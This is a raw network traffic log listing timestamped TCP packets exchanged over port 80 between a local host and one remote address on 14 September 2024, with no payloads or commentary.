Sep 14, 2024 18:44:26.926340103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926357031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926371098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926394939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926418066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926439047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926464081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926489115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926501989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926513910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926522970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926537037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926539898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926565886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926579952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926593065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926626921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926651001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926656008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926676989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926691055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.926707029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926733017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.926745892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.970937014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.991410017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991472006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991501093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991616964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991648912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991682053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991693020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.991715908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.991728067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.991734982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.993415117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.993484974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.021881104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.021897078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.021912098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022002935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022036076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022049904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022135019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022171974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022197008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022211075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022211075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022228003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022242069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022249937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022258043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022273064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022279978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022289038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022304058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022315025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022320032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022335052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022344112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022351980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022367001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022373915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022383928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022398949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022407055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022422075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022433996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022435904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022454023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022468090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022483110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022484064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022499084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022507906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022538900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022546053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022562027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022577047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022588968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.022598982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.022628069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023222923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023422956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023436069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023449898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023466110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023479939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023494959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023523092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023541927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023574114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023588896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023605108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023613930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023639917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023775101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023791075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023811102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023825884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023843050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023858070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023873091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023926020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023932934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023941994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.023962021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.023983002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024104118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024118900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024132967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024147034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024149895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024164915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024173021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024182081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024195910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024203062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024211884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024238110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024296045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024312019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024367094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024456978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024472952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024488926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024497032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024504900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024528027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024632931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024647951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024662018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024669886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024677038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024693012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024702072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024709940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024733067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.024879932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.024949074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025058985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025074959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025089025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025104046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025109053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025127888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025142908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025145054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025160074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025176048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025191069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025239944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025253057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025275946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025290966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025304079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025315046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025320053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025341034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025464058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025487900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025502920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025521040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025535107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025541067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025551081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025564909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025579929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025593996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025609016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025614977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025625944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025641918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025650024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025657892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025667906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025674105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025690079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025696039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025706053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025721073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025734901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025749922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025774002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025788069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025803089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025816917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025830984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025830984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025830984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025830984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025830984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025845051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025857925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025886059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.025928974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025943995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.025984049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.078299046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078337908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078375101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078428030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078459024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078490973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078526020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078525066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.078552961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.078552961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.078614950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.078658104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109535933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109553099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109568119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109581947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109596968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109610081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109623909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109638929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109654903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109658957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109680891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109697104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109710932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109724998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109740973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109755993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109771013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109786034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109801054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109846115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109846115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109846115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109846115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.109968901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.109986067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110001087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110002995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110016108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110023975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110032082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110048056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110059023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110063076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110079050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110089064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110094070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110111952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110121965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110145092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110280991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110294104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110308886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110341072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110347986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110362053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110377073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110380888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110393047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110414028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110498905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110513926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110528946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110534906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110544920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110560894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110563040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110578060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110593081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110594034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.110610008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.110632896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111109018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111191988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111287117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111301899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111315966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111330986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111397982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111412048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111428022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111629009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111643076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111656904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111669064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111673117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111692905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111701965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111710072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111732006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.111767054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111783028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.111814976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112124920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112139940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112154007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112232924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112250090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112291098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112307072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112319946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112335920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112349987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112358093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112365961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112385035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112390041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112407923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112651110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112667084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112682104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112695932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112709999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112725019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112736940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112736940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112741947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112792969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112807989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112816095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112823963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112833977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112842083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112853050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112878084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.112977028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.112992048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113006115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113019943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113034010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113037109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113050938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.113053083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.113068104 CEST	80	54891	188.114.96.3	192.168.2.7
